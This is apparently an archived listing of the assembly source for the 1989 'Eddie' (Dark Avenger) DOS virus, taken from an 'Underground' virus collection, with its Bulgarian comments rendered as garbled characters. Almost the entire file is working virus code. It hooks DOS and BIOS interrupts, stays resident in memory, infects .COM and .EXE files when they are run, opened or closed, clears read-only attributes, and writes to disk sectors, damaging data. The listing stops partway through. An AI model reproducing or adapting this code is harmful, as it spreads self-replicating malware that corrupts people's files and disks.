home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / e / eddie.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  20.0 KB  |  977 lines

  1. ;************************
  2. ;*            *
  3. ;*    E D D I E    *
  4. ;*            *
  5. ;*   by  Dark Avenger    *
  6. ;*            *
  7. ;*    3-JAN-1989    *
  8. ;*            *
  9. ;*     version 1.31x    *
  10. ;*            *
  11. ;************************
  12.  
  13.  
  14. ; "Blessed is he who expects nothing, for he shall not be disappointed."
  15.  
  16. ;   Å░Ññ óá▒ ▒▓«¿ «░¿ú¿¡á½¡¿┐▓ ▓Ѭ▒▓ ¡á Ññ¿¡ «▓ »║░ó¿▓Ñ í║½úá░▒¬¿ ó¿░│▒¿.  èá¬▓«
  17. ; ¼«ªÑ í¿ ╣Ñ ºáíѽѪ¿▓Ñ, ▓«⌐ Ñ »║½Ñ¡ ▒ ú½│»«▒▓¿ ¿ ú░Ñ╕¬¿, ¡« ó║»░Ѭ¿ ▓«óá ¡Ñ
  18. ; ▒Ἣ ╖Ñ ▒Ñ ░ẻ░«▒▓░á¡¿ │╖│ñóá╣« í║░º« ¿º ▒▓░á¡á▓á, ¡« ¿ │▒»┐ ºá ¬░á▓¬« ó░ѼÑ
  19. ; ñá «í¿¬«½¿ ▒óÑ▓á (Æ«⌐ Ñ ░ẻ░«▒▓░á¡Ñ¡ ¬á¬▓« ó êº▓«╖¡á ¿ çá»áñ¡á àó░«»á, ▓á¬á ¿
  20. ; ó Ç¼Ñ░¿¬á).  ÆѬ▒▓║▓ ▒Ñ ░ẻ░«▒▓░á¡┐óá ¡á»║½¡« ▒ó«í«ñ¡« »« ▒½│╖á⌐ 1 ú«ñ¿¡á «▓
  21. ; ºáó║░╕óá¡Ñ▓« ¡á íẫóá▓á ¼│ óÑ░▒¿┐.  é¿Ñ ¿¼á▓Ñ »░áó« ñá ░ẻ░«▒▓░á¡┐óá▓Ñ
  22. ; ▓Ѭ▒▓á ¬á¬▓« íѺ»½á▓¡«, ▓á¬á ¿ ▒░Ñ╣│ ºá»½á╣á¡Ñ ▒ Ññ¿¡▒▓óÑ¡«▓« │▒½«ó¿Ñ ▓«⌐
  23. ; ¿º«í╣« ñá ¡Ñ Ñ »░«¼Ñ¡┐¡.  è«⌐▓« │¼¿╕½Ñ¡« ░ẻ░«▒▓░á¡┐óá »░«¼Ñ¡Ñ¡ »« ¡┐¬á¬║ó
  24. ; ¡á╖¿¡ ▓Ѭ▒▓, ó║░╕¿ ▓«óá »░«▓¿ó ªÑ½á¡¿Ñ▓« ¡á áó▓«░á ¿ ╣Ñ í║ñÑ ¡á¬áºá¡!  é║»░Ѭ¿
  25. ; ▓«óá, áó▓«░║▓ ╣Ñ ▒Ñ ░áñóá á¬« ¡┐¬«⌐ «▓ óá▒ ¿ºó║░╕¿ »«ñ«í░Ñ¡¿┐ ó ▓Ѭ▒▓á ¿
  26. ; ░ẻ░«▒▓░á¡┐óá »«½│╖Ñ¡¿┐ ¿º»║½¡¿¼ ┤á⌐½ (▓.Ñ.    ▒Ἷ┐▓ ó¿░│▒).    Äí║░¡Ñ▓Ñ
  27. ; ó¡¿¼á¡¿Ñ, ╖Ñ ▒½Ññ á▒Ñ¼í½¿░á¡Ñ▓« »«½│╖Ñ¡¿┐▓ .COM ┤á⌐½ ¡Ñ ¼«ªÑ ñá í║ñÑ
  28. ; ▒▓á░▓¿░á¡.  çá ╢ѽ▓á ▓░┐íóá ñá ▒║ºñáñÑ▓Ñ ┤á⌐½ ▒ ñ║½ª¿¡á 3 íá⌐▓á, ▒║ñ║░ªá╣
  29. ; ╕Ñ▒▓¡á⌐▒Ñ▓¿╖¡¿▓Ñ ╖¿▒½á 0e9h, 68h, 0 ¿ ▒½Ññ ▓«óá ñá «íÑñ¿¡¿▓Ñ ñóá▓á ┤á⌐½á.  ìÑ
  30. ; ▒Ñ «»¿▓óá⌐▓Ñ ñá »«▒▓áó¿▓Ñ ¿¡▒▓░│¬╢¿┐ JMP ó ¡á╖Ὣ▓« ¡á ▓Ѭ▒▓á.
  31.  
  32.  
  33. ;   ÅÉàäôÅÉàåäàìêà:  Çó▓«░║▓ ¡Ñ »«Ñ¼á ¡¿¬á¬óá «▓ú«ó«░¡«▒▓ ºá ñ¿░Ѭ▓¡« ¿½¿
  34. ; ¿¡ñ¿░Ѭ▓¡« ¡á¡Ñ▒Ñ¡¿ ╣Ñ▓¿, »░Ññ¿ºó¿¬á¡¿ «▓ ¿º»«½ºóá¡Ñ▓« ¿½¿ ¡Ñ¿º»«½º│óá¡Ñ▓« ¡á
  35. ; ▓«º¿ ▓Ѭ▒▓ ¿½¿ ¡á »«½│╖Ñ¡¿┐ »░¿ á▒Ñ¼í½¿░á¡Ñ ¬«ñ.  ì¿¬á¬óá úá░á¡╢¿┐ ¡Ñ ▒Ñ ñáóá
  36. ; ºá ┤│¡¬╢¿«¡¿░á¡Ñ▓« ¿½¿ ¬á╖Ñ▒▓ó«▓« ¡á »░«ñ│¬▓á.
  37.  
  38. ;   ìÑ ¼«úá ñá ¡Ñ ▒Ñ ó║ºñ║░ªá ñá ¿º¬áªá ▒»Ñ╢¿á½¡á▓á ▒¿ í½áú«ñá░¡«▒▓ ¡á ¼«┐
  39. ; »«»│½┐░¿ºá▓«░ ¿¡ª.  éÑ▒ѽ¿¡ ü«¡╖Ñó, ¬«⌐▓« ¼¿ »░áó¿ ú«½┐¼á ░Ѭ½á¼á ¿ «▒óÑ¡
  40. ; ▓«óá, ¿▒¬á⌐¬¿ ¿½¿ ¡Ñ, ▓«⌐ ▒║ñÑ⌐▒▓ó│óá ¼¡«ú« ºá ░ẻ░«▒▓░á¡┐óá¡Ñ▓« ¡á ¼«¿▓Ñ
  41. ; ó¿░│▒¿ ó║»░Ѭ¿, ╖Ñ ▒Ñ «»¿▓óá ñá »░áó¿ ▓«╖¡« «í░á▓¡«▓« (»¿▒á¡Ñ▓« ¡á »░«ú░Ἷ ¡á
  42. ; C ¡¿¬«ú« ¡Ñ Ñ ñ«óѽ« ñ« ñ«í░«).
  43. ;   Å«ºñ░áó¿ ¡á ó▒¿╖¬¿ ó¿░│▒«»¿▒á╖¿!
  44.  
  45. code    segment
  46.     assume    cs:code,ds:code
  47. copyright:
  48.     db    'Eddie lives...somewhere in time!',0
  49. date_stamp:
  50.     dd    12239000h
  51. checksum:
  52.     db    30
  53.  
  54. ; é░║╣á¡Ñ ¡á │»░áó½Ñ¡¿Ñ▓« ¡á .EXE ┤á⌐½:
  55. ; é║º▒▓á¡«ó┐óá DS=ES=PSP, ºá░Ѫñá SS:SP ¿ CS:IP.
  56.  
  57. exit_exe:
  58.     mov    bx,es
  59.     add    bx,10h
  60.     add    bx,word ptr cs:[si+call_adr+2]
  61.     mov    word ptr cs:[si+patch+2],bx
  62.     mov    bx,word ptr cs:[si+call_adr]
  63.     mov    word ptr cs:[si+patch],bx
  64.     mov    bx,es
  65.     add    bx,10h
  66.     add    bx,word ptr cs:[si+stack_pointer+2]
  67.     mov    ss,bx
  68.     mov    sp,word ptr cs:[si+stack_pointer]
  69.     db    0eah            ;JMP XXXX:YYYY
  70. patch:
  71.     dd    0
  72.  
  73. ; é░║╣á¡Ñ ¡á │»░áó½Ñ¡¿Ñ▓« ¡á .COM ┤á⌐½:
  74. ; é║º▒▓á¡«ó┐óá 3-▓Ñ íá⌐▓á ó ¡á╖Ὣ▓« ¡á ┤á⌐½á, ºá░Ѫñá SP ¿ IP.
  75.  
  76. exit_com:
  77.     mov    di,100h
  78.     add    si,offset my_save
  79.     movsb
  80.     movsw
  81.     mov    sp,ds:[6]        ;Æ«óá Ñ ¡Ñ»░á󿽡«
  82.     xor    bx,bx
  83.     push    bx
  84.     jmp    [si-11]         ;si+call_adr-top_file
  85.  
  86. ; é╡«ñ¡á ▓«╖¬á ¡á »░«ú░á¼á▓á.
  87.  
  88. startup:
  89.     call    relative
  90. relative:
  91.     pop    si            ;SI = $
  92.     sub    si,offset relative
  93.     cld
  94.     cmp    word ptr cs:[si+my_save],5a4dh
  95.     je    exe_ok
  96.     cli
  97.     mov    sp,si            ;çá .COM ┤á⌐½«óÑ▓Ñ ▒Ñ »«ññ║░ªá «▓ñѽѡ
  98.     add    sp,offset top_file+100h ;▒▓Ѭ, ºá ñá ¡Ñ ▒Ñ »░ѼÑ▒▓¿ »░«ú░á¼á▓á
  99.     sti                ;ó║░╡│ ▒▓Ѭá
  100.     cmp    sp,ds:[6]
  101.     jnc    exit_com
  102. exe_ok:
  103.     push    ax
  104.     push    es
  105.     push    si
  106.     push    ds
  107.     mov    di,si
  108.  
  109. ; ìἿ░á¡Ñ ¡á áñ░Ñ▒á ¡á INT 13h ó ROM-BIOS
  110.  
  111.     xor    ax,ax
  112.     push    ax
  113.     mov    ds,ax
  114.     les    ax,ds:[13h*4]
  115.     mov    word ptr cs:[si+fdisk],ax
  116.     mov    word ptr cs:[si+fdisk+2],es
  117.     mov    word ptr cs:[si+disk],ax
  118.     mov    word ptr cs:[si+disk+2],es
  119.     mov    ax,ds:[40h*4+2]     ;é INT 40h ▒Ñ ºá»áºóá áñ░Ñ▒á ¡á INT 13h
  120.     cmp    ax,0f000h        ;ºá ñ¿▒¬Ñ▓¿ »░¿ ¡á½¿╖¿Ñ ¡á ▓ó║░ñ ñ¿▒¬
  121.     jne    nofdisk
  122.     mov    word ptr cs:[si+disk+2],ax
  123.     mov    ax,ds:[40h*4]
  124.     mov    word ptr cs:[si+disk],ax
  125.     mov    dl,80h
  126.     mov    ax,ds:[41h*4+2]     ;INT 41h «í¿¬¡«óÑ¡« ▒«╖¿ ó ▒Ñú¼Ñ¡▓á,
  127.     cmp    ax,0f000h        ;¬║ñÑ▓« Ñ «░¿ú¿¡á½¡¿┐ INT 13h óѬ▓«░
  128.     je    isfdisk
  129.     cmp    ah,0c8h
  130.     jc    nofdisk
  131.     cmp    ah,0f4h
  132.     jnc    nofdisk
  133.     test    al,7fh
  134.     jnz    nofdisk
  135.     mov    ds,ax
  136.     cmp    ds:[0],0aa55h
  137.     jne    nofdisk
  138.     mov    dl,ds:[2]
  139. isfdisk:
  140.     mov    ds,ax
  141.     xor    dh,dh
  142.     mov    cl,9
  143.     shl    dx,cl
  144.     mov    cx,dx
  145.     xor    si,si
  146. findvect:
  147.     lodsw                ;Äí¿¬¡«óÑ¡« ºá»«╖óá ▒:
  148.     cmp    ax,0fa80h        ;    CMP    DL,80h
  149.     jne    altchk            ;    JNC    ¡┐¬║ñÑ
  150.     lodsw
  151.     cmp    ax,7380h
  152.     je    intchk
  153.     jne    nxt0
  154. altchk:
  155.     cmp    ax,0c2f6h        ;¿½¿ ▒:
  156.     jne    nxt            ;    TEST    DL,80h
  157.     lodsw                ;    JNZ    ¡┐¬║ñÑ
  158.     cmp    ax,7580h
  159.     jne    nxt0
  160. intchk:
  161.     inc    si            ;▒½Ññ ¬«Ñ▓« ¿¼á:
  162.     lodsw                ;    INT    40h
  163.     cmp    ax,40cdh
  164.     je    found
  165.     sub    si,3
  166. nxt0:
  167.     dec    si
  168.     dec    si
  169. nxt:
  170.     dec    si
  171.     loop    findvect
  172.     jmp    short nofdisk
  173. found:
  174.     sub    si,7
  175.     mov    word ptr cs:[di+fdisk],si
  176.     mov    word ptr cs:[di+fdisk+2],ds
  177. nofdisk:
  178.     mov    si,di
  179.     pop    ds
  180.  
  181. ; Å░«óÑ░¬á ñ὿ »░«ú░á¼á▓á Ñ ░Ѻ¿ñÑ¡▓¡á
  182.  
  183.     les    ax,ds:[21h*4]
  184.     mov    word ptr cs:[si+save_int_21],ax
  185.     mov    word ptr cs:[si+save_int_21+2],es
  186.     push    cs
  187.     pop    ds
  188.     cmp    ax,offset int_21
  189.     jne    bad_func
  190.     xor    di,di
  191.     mov    cx,offset my_size
  192. scan_func:
  193.     lodsb
  194.     scasb
  195.     jne    bad_func
  196.     loop    scan_func
  197.     pop    es
  198.     jmp    go_program
  199.  
  200. ; Å░ѼÑ▒▓óá¡Ñ ¡á »░«ú░á¼á▓á ó ú«░¡¿┐ ¬░á⌐ ¡á »á¼Ñ▓▓á
  201. ; (▓│¬ Ñ »║½¡« ▒ ú½│»«▒▓¿ ¿ ú░Ñ╕¬¿)
  202.  
  203. bad_func:
  204.     pop    es
  205.     mov    ah,49h
  206.     int    21h
  207.     mov    bx,0ffffh
  208.     mov    ah,48h
  209.     int    21h
  210.     sub    bx,(top_bz+my_bz+1ch-1)/16+2
  211.     jc    go_program
  212.     mov    cx,es
  213.     stc
  214.     adc    cx,bx
  215.     mov    ah,4ah
  216.     int    21h
  217.     mov    bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  218.     stc
  219.     sbb    es:[2],bx
  220.     push    es
  221.     mov    es,cx
  222.     mov    ah,4ah
  223.     int    21h
  224.     mov    ax,es
  225.     dec    ax
  226.     mov    ds,ax
  227.     mov    word ptr ds:[1],8
  228.     call    mul_16
  229.     mov    bx,ax
  230.     mov    cx,dx
  231.     pop    ds
  232.     mov    ax,ds
  233.     call    mul_16
  234.     add    ax,ds:[6]
  235.     adc    dx,0
  236.     sub    ax,bx
  237.     sbb    dx,cx
  238.     jc    mem_ok
  239.     sub    ds:[6],ax        ;ìá¼á½┐óá¡Ñ ¡á ú«½Ñ¼¿¡á▓á ¡á ▒Ñú¼Ñ¡▓á
  240. mem_ok:
  241.     pop    si
  242.     push    si
  243.     push    ds
  244.     push    cs
  245.     xor    di,di
  246.     mov    ds,di
  247.     lds    ax,ds:[27h*4]
  248.     mov    word ptr cs:[si+save_int_27],ax
  249.     mov    word ptr cs:[si+save_int_27+2],ds
  250.     pop    ds
  251.     mov    cx,offset aux_size
  252.     rep    movsb
  253.     xor    ax,ax
  254.     mov    ds,ax
  255.     mov    ds:[21h*4],offset int_21;Å░Ñ╡óá╣á¡Ñ ¡á INT 21h ¿ INT 27h
  256.     mov    ds:[21h*4+2],es
  257.     mov    ds:[27h*4],offset int_27
  258.     mov    ds:[27h*4+2],es
  259.     mov    word ptr es:[filehndl],ax
  260.     pop    es
  261. go_program:
  262.     pop    si
  263.  
  264. ; çá¼áºóá¡Ñ ¡á ▒½Ññóá╣¿┐ ▒Ѭ▓«░ «▓ ñ¿▒¬á
  265.  
  266.     xor    ax,ax
  267.     mov    ds,ax
  268.     mov    ax,ds:[13h*4]
  269.     mov    word ptr cs:[si+save_int_13],ax
  270.     mov    ax,ds:[13h*4+2]
  271.     mov    word ptr cs:[si+save_int_13+2],ax
  272.     mov    ds:[13h*4],offset int_13
  273.     add    ds:[13h*4],si
  274.     mov    ds:[13h*4+2],cs
  275.     pop    ds
  276.     push    ds
  277.     push    si
  278.     mov    bx,si
  279.     lds    ax,ds:[2ah]
  280.     xor    si,si
  281.     mov    dx,si
  282. scan_envir:                ;ìἿ░á ¿¼Ñ▓« ¡á »░«ú░á¼á▓á
  283.     lodsw                ;(▒║▒ DOS 2.x ¿ íѺ ñ░│ú« ¡Ñ ░áí«▓¿)
  284.     dec    si
  285.     test    ax,ax
  286.     jnz    scan_envir
  287.     add    si,3
  288.     lodsb
  289.  
  290. ; æ½Ññóá╣á▓á ¿¡▒▓░│¬╢¿┐ Ñ »║½¡á ú½│»«▒▓.  Ä»¿▓á⌐▓Ñ ñá ▒¿ ¡á»¿╕Ñ▓Ñ path-á ▒
  291. ; ¼á½¬¿ í│¬ó¿, ▒½Ññ ▓«óá »│▒¡Ñ▓Ñ ºá░áºÑ¡á »░«ú░á¼á «▓ ▓á¼.  é ░Ѻ│½▓á▓
  292. ; ¡á ú░Ñ╕¬á▓á ▓│¬ + ú░Ñ╕¬á ó DOS ▒½Ññóá╣¿┐▓ ▒Ѭ▓«░ ¡Ñ ▒Ñ ºá¼áºóá, ¡« ▒Ñ
  293. ; ºá¼áºóá▓ ñóá íá⌐▓á ó »á¼Ñ▓▓á, ¡á⌐-óÑ░«┐▓¡« ó║░╡│ ºá░áºÑ¡á▓á »░«ú░á¼á.
  294.  
  295.     sub    al,'A'
  296.     mov    cx,1
  297.     push    cs
  298.     pop    ds
  299.     add    bx,offset int_27
  300.     push    ax
  301.     push    bx
  302.     push    cx
  303.     int    25h
  304.     pop    ax
  305.     pop    cx
  306.     pop    bx
  307.     inc    byte ptr [bx+0ah]
  308.     and    byte ptr [bx+0ah],0fh    ;êºú½Ñªñá 15 »║▓¿ ¡Ñ»░áóÑ¡Ñ ¡¿╣« Ñ ¼¡«ú«
  309.     jnz    store_sec        ;¼á½¬« ºá ¡┐¬«¿ ╡«░á
  310.     mov    al,[bx+10h]
  311.     xor    ah,ah
  312.     mul    word ptr [bx+16h]
  313.     add    ax,[bx+0eh]
  314.     push    ax
  315.     mov    ax,[bx+11h]
  316.     mov    dx,32
  317.     mul    dx
  318.     div    word ptr [bx+0bh]
  319.     pop    dx
  320.     add    dx,ax
  321.     mov    ax,[bx+8]
  322.     add    ax,40h
  323.     cmp    ax,[bx+13h]
  324.     jc    store_new
  325.     inc    ax
  326.     and    ax,3fh
  327.     add    ax,dx
  328.     cmp    ax,[bx+13h]
  329.     jnc    small_disk
  330. store_new:
  331.     mov    [bx+8],ax
  332. store_sec:
  333.     pop    ax
  334.     xor    dx,dx
  335.     push    ax
  336.     push    bx
  337.     push    cx
  338.     int    26h
  339.  
  340. ; çỿ▒║▓ »░Ѻ ▓«óá »░Ѭ║▒óá¡Ñ ¡Ñ Ñ ¡á⌐-│¼¡«▓« ¡Ñ╣«, ºá╣«▓« ▓« ¼«ªÑ ñá í║ñÑ
  341. ; »░Ñ╡óá¡á▓« (¬á¬▓« Ñ │▒»┐½ ñá ºáíѽѪ¿ éÑ▒ѽ¿¡ ü«¡╖Ñó)
  342.  
  343.     pop    ax
  344.     pop    cx
  345.     pop    bx
  346.     pop    ax
  347.     cmp    byte ptr [bx+0ah],0
  348.     jne    not_now
  349.     mov    dx,[bx+8]
  350.     pop    bx
  351.     push    bx
  352.     int    26h
  353. small_disk:
  354.     pop    ax
  355. not_now:
  356.     pop    si
  357.     xor    ax,ax
  358.     mov    ds,ax
  359.     mov    ax,word ptr cs:[si+save_int_13]
  360.     mov    ds:[13h*4],ax
  361.     mov    ax,word ptr cs:[si+save_int_13+2]
  362.     mov    ds:[13h*4+2],ax
  363.     pop    ds
  364.     pop    ax
  365.     cmp    word ptr cs:[si+my_save],5a4dh
  366.     jne    go_exit_com
  367.     jmp    exit_exe
  368. go_exit_com:
  369.     jmp    exit_com
  370. int_24:
  371.     mov    al,3            ;Æế ¿¡▒▓░│¬╢¿┐ ¿ºú½Ñªñá ¿º½¿╕¡á
  372.     iret
  373.  
  374. ; Äí░áí«▓¬á ¡á INT 27h (▓«óá Ñ ¡Ñ«í╡«ñ¿¼«)
  375.  
  376. int_27:
  377.     pushf
  378.     call    alloc
  379.     popf
  380.     jmp    dword ptr cs:[save_int_27]
  381.  
  382. ; Å░¿ DOS-┤│¡¬╢¿¿▓Ñ Set & Get Vector ▒Ñ ░áí«▓¿ ¬á▓« ╖Ñ ½¿ »░«ú░á¼á▓á ¡Ñ ú¿ Ñ
  383. ; »░Ñ╡óá¡á½á (▓«óá Ñ ▒║¼¡¿▓ѽ¡« »░Ññ¿¼▒▓ó« ¿ Ñ Ññ¿¡ ó║º¼«ªÑ¡ ¿º▓«╖¡¿¬ ¡á
  384. ; ¡Ññ«░áº│¼Ñ¡¿┐ ▒ ¡┐¬«¿ "¿¡▓ѽ¿úÑ¡▓¡¿" »░«ú░Ἷ)
  385.  
  386. set_int_27:
  387.     mov    word ptr cs:[save_int_27],dx
  388.     mov    word ptr cs:[save_int_27+2],ds
  389.     popf
  390.     iret
  391. set_int_21:
  392.     mov    word ptr cs:[save_int_21],dx
  393.     mov    word ptr cs:[save_int_21+2],ds
  394.     popf
  395.     iret
  396. get_int_27:
  397.     les    bx,dword ptr cs:[save_int_27]
  398.     popf
  399.     iret
  400. get_int_21:
  401.     les    bx,dword ptr cs:[save_int_21]
  402.     popf
  403.     iret
  404.  
  405. exec:
  406.     call    do_file
  407.     call    alloc
  408.     popf
  409.     jmp    dword ptr cs:[save_int_21]
  410.  
  411.     db    'Diana P.',0
  412.  
  413. ; Äí░áí«▓¬á ¡á INT 21h.  Ä▒║╣Ñ▒▓ó┐óá ºá░áº┐óá¡Ñ▓« ¡á ┤á⌐½«óÑ▓Ñ
  414. ; »░¿ ¿º»║½¡Ñ¡¿Ñ, ¬«»¿░á¡Ñ, ░áºú½Ñªñá¡Ñ ¿½¿ ▒║ºñáóá¡Ñ ¿ ¡┐¬«¿ ñ░│ú¿ «»Ñ░á╢¿¿.
  415. ; êº»║½¡Ñ¡¿Ñ▓« ¡á ┤│¡¬╢¿¿ 0 ¿ 26h »░Ññ¿ºó¿¬óá ½«╕¿ »«▒½Ññ¿╢¿.
  416.  
  417. int_21:
  418.     push    bp
  419.     mov    bp,sp
  420.     push    [bp+6]
  421.     popf
  422.     pop    bp
  423.     pushf
  424.     call    ontop
  425.     cmp    ax,2521h
  426.     je    set_int_21
  427.     cmp    ax,2527h
  428.     je    set_int_27
  429.     cmp    ax,3521h
  430.     je    get_int_21
  431.     cmp    ax,3527h
  432.     je    get_int_27
  433.     cld
  434.     cmp    ax,4b00h
  435.     je    exec
  436.     cmp    ah,3ch
  437.     je    create
  438.     cmp    ah,3eh
  439.     je    close
  440.     cmp    ah,5bh
  441.     jne    not_create
  442. create:
  443.     cmp    word ptr cs:[filehndl],0;Ѡ¿ ñá Ñ 0 »░¿ «▓ó«░Ñ¡ ┤á⌐½
  444.     jne    dont_touch
  445.     call    see_name
  446.     jnz    dont_touch
  447.     call    alloc
  448.     popf
  449.     call    function
  450.     jc    int_exit
  451.     pushf
  452.     push    es
  453.     push    cs
  454.     pop    es
  455.     push    si
  456.     push    di
  457.     push    cx
  458.     push    ax
  459.     mov    di,offset filehndl
  460.     stosw
  461.     mov    si,dx
  462.     mov    cx,65
  463. move_name:
  464.     lodsb
  465.     stosb
  466.     test    al,al
  467.     jz    all_ok
  468.     loop    move_name
  469.     mov    word ptr es:[filehndl],cx
  470. all_ok:
  471.     pop    ax
  472.     pop    cx
  473.     pop    di
  474.     pop    si
  475.     pop    es
  476. go_exit:
  477.     popf
  478.     jnc    int_exit        ;JMP
  479. close:
  480.     cmp    bx,word ptr cs:[filehndl]
  481.     jne    dont_touch
  482.     test    bx,bx
  483.     jz    dont_touch
  484.     call    alloc
  485.     popf
  486.     call    function
  487.     jc    int_exit
  488.     pushf
  489.     push    ds
  490.     push    cs
  491.     pop    ds
  492.     push    dx
  493.     mov    dx,offset filehndl+2
  494.     call    do_file
  495.     mov    word ptr cs:[filehndl],0
  496.     pop    dx
  497.     pop    ds
  498.     jmp    go_exit
  499. not_create:
  500.     cmp    ah,3dh
  501.     je    touch
  502.     cmp    ah,43h
  503.     je    touch
  504.     cmp    ah,56h            ;çá ▒║ªá½Ñ¡¿Ñ ¬«¼á¡ñ¡¿┐ ¿¡▓Ñ░»░Ñ▓á▓«░
  505.     jne    dont_touch        ;¡Ñ ¿º»«½º│óá ▓ế ┤│¡¬╢¿┐
  506. touch:
  507.     call    see_name
  508.     jnz    dont_touch
  509.     call    do_file
  510. dont_touch:
  511.     call    alloc
  512.     popf
  513.     call    function
  514. int_exit:
  515.     pushf
  516.     push    ds
  517.     call    get_chain
  518.     mov    byte ptr ds:[0],'Z'
  519.     pop    ds
  520.     popf
  521. dummy    proc    far            ;???
  522.     ret    2
  523. dummy    endp
  524.  
  525. ; Å░«óÑ░┐óá ñ὿ ┤á⌐½║▓ Ñ .COM ¿½¿ .EXE.  ìÑ ▒Ñ ¿ºó¿¬óá »░¿ ¿º»║½¡Ñ¡¿Ñ ¡á ┤á⌐½.
  526.  
  527. see_name:
  528.     push    ax
  529.     push    si
  530.     mov    si,dx
  531. scan_name:
  532.     lodsb
  533.     test    al,al
  534.     jz    bad_name
  535.     cmp    al,'.'
  536.     jnz    scan_name
  537.     call    get_byte
  538.     mov    ah,al
  539.     call    get_byte
  540.     cmp    ax,'co'
  541.     jz    pos_com
  542.     cmp    ax,'ex'
  543.     jnz    good_name
  544.     call    get_byte
  545.     cmp    al,'e'
  546.     jmp    short good_name
  547. pos_com:
  548.     call    get_byte
  549.     cmp    al,'m'
  550.     jmp    short good_name
  551. bad_name:
  552.     inc    al
  553. good_name:
  554.     pop    si
  555.     pop    ax
  556.     ret
  557.  
  558. ; Å░Ñ«í░áº│óá ó lowercase (»«ñ»░«ú░Ἷ▓Ñ ▒á óѽ¿¬« ¡Ñ╣«).
  559.  
  560. get_byte:
  561.     lodsb
  562.     cmp    al,'C'
  563.     jc    byte_got
  564.     cmp    al,'Y'
  565.     jnc    byte_got
  566.     add    al,20h
  567. byte_got:
  568.     ret
  569.  
  570. ; êºó¿¬óá «░¿ú¿¡á½¡¿┐ INT 21h (ºá ñá ¡Ñ ▒Ñ ºá╢¿¬½¿).
  571.  
  572. function:
  573.     pushf
  574.     call    dword ptr cs:[save_int_21]
  575.     ret
  576.  
  577. ; ô░Ѫñá ó║»░«▒á ¡á ¿º»║½¡¿¼ ┤á⌐½.
  578.  
  579. do_file:
  580.     push    ds            ;çá»áºóá ░Ñú¿▒▓░¿▓Ñ ó ▒▓Ѭá
  581.     push    es
  582.     push    si
  583.     push    di
  584.     push    ax
  585.     push    bx
  586.     push    cx
  587.     push    dx
  588.     mov    si,ds
  589.     xor    ax,ax
  590.     mov    ds,ax
  591.     les    ax,ds:[24h*4]        ;çá»áºóá INT 13h ¿ INT 24h ó ▒▓Ѭá
  592.     push    es            ;¿ ú¿ »«ñ¼Ñ¡┐ ▒ ¬«¿▓« ▓░┐íóá
  593.     push    ax
  594.     mov    ds:[24h*4],offset int_24
  595.     mov    ds:[24h*4+2],cs
  596.     les    ax,ds:[13h*4]
  597.     mov    word ptr cs:[save_int_13],ax
  598.     mov    word ptr cs:[save_int_13+2],es
  599.     mov    ds:[13h*4],offset int_13
  600.     mov    ds:[13h*4+2],cs
  601.     push    es
  602.     push    ax
  603.     mov    ds,si
  604.     xor    cx,cx            ;ô░Ѫñá ó║»░«▒á ¡á Read-only ┤á⌐½«óÑ▓Ñ
  605.     mov    ax,4300h
  606.     call    function
  607.     mov    bx,cx
  608.     and    cl,0feh
  609.     cmp    cl,bl
  610.     je    dont_change
  611.     mov    ax,4301h
  612.     call    function
  613.     stc
  614. dont_change:
  615.     pushf
  616.     push    ds
  617.     push    dx
  618.     push    bx
  619.     mov    ax,3d02h        ;æÑúá óÑ╖Ñ ¼«ªÑ¼ ¡á ▒»«¬«⌐▒▓ó¿Ñ ñá
  620.     call    function        ;«▓ó«░¿¼ ┤á⌐½á
  621.     jc    cant_open
  622.     mov    bx,ax
  623.     call    disease
  624.     mov    ah,3eh            ;çá▓óá░┐¡Ñ
  625.     call    function
  626. cant_open:
  627.     pop    cx
  628.     pop    dx
  629.     pop    ds
  630.     popf
  631.     jnc    no_update
  632.     mov    ax,4301h        ;é║º▒▓á¡«ó┐óá¡Ñ ¡á á▓░¿í│▓¿▓Ñ ¡á ┤á⌐½á,
  633.     call    function        ;ᬫ ▒á í¿½¿ »░«¼Ñ¡Ñ¡¿ (ºá ó▒Ѭ¿ ▒½│╖á⌐)
  634. no_update:
  635.     xor    ax,ax            ;é║º▒▓á¡«ó┐óá¡Ñ ¡á INT 13h ¿ INT 24h
  636.     mov    ds,ax
  637.     pop    ds:[13h*4]
  638.     pop    ds:[13h*4+2]
  639.     pop    ds:[24h*4]
  640.     pop    ds:[24h*4+2]
  641.     pop    dx            ;é║º▒▓á¡«ó┐óá¡Ñ ¡á ░Ñú¿▒▓░¿▓Ñ
  642.     pop    cx
  643.     pop    bx
  644.     pop    ax
  645.     pop    di
  646.     pop    si
  647.     pop    es
  648.     pop    ds
  649.     ret
  650.  
  651. ; Æế »«ñ»░«ú░á¼á ó║░╕¿ ╖Ñ░¡á▓á ░áí«▓á.
  652.  
  653. disease:
  654.     push    cs
  655.     pop    ds
  656.     push    cs
  657.     pop    es
  658.     mov    dx,offset top_save    ;Å░«╖¿▓á¡Ñ ¡á ¡á╖Ὣ▓« ¡á ┤á⌐½á
  659.     mov    cx,18h
  660.     mov    ah,3fh
  661.     int    21h
  662.     xor    cx,cx
  663.     xor    dx,dx
  664.     mov    ax,4202h        ;çá»áºóá¡Ñ ¡á ñ║½ª¿¡á▓á ¡á ┤á⌐½á
  665.     int    21h
  666.     mov    word ptr [top_save+1ah],dx
  667.     cmp    ax,offset my_size    ;ü¿ ▓░┐íóὫ ñá í║ñÑ top_file
  668.     sbb    dx,0
  669.     jc    stop_fuck_2        ;îὬ¿ ┤á⌐½«óÑ ¡Ñ ▒Ñ ºá░áº┐óá▓
  670.     mov    word ptr [top_save+18h],ax
  671.     cmp    word ptr [top_save],5a4dh
  672.     jne    com_file
  673.     mov    ax,word ptr [top_save+8]
  674.     add    ax,word ptr [top_save+16h]
  675.     call    mul_16
  676.     add    ax,word ptr [top_save+14h]
  677.     adc    dx,0
  678.     mov    cx,dx
  679.     mov    dx,ax
  680.     jmp    short see_sick
  681. com_file:
  682.     cmp    byte ptr [top_save],0e9h
  683.     jne    see_fuck
  684.     mov    dx,word ptr [top_save+1]
  685.     add    dx,103h
  686.     jc    see_fuck
  687.     dec    dh
  688.     xor    cx,cx
  689.  
  690. ; Å║½¡á »░«óÑ░¬á ñ὿ ºá ┤á⌐½á Ñ ºá½Ñ»Ñ¡ ¬«⌐▓« ▓░┐íóá
  691.  
  692. see_sick:
  693.     sub    dx,startup-copyright
  694.     sbb    cx,0
  695.     mov    ax,4200h
  696.     int    21h
  697.     add    ax,offset top_file
  698.     adc    dx,0
  699.     cmp    ax,word ptr [top_save+18h]
  700.     jne    see_fuck
  701.     cmp    dx,word ptr [top_save+1ah]
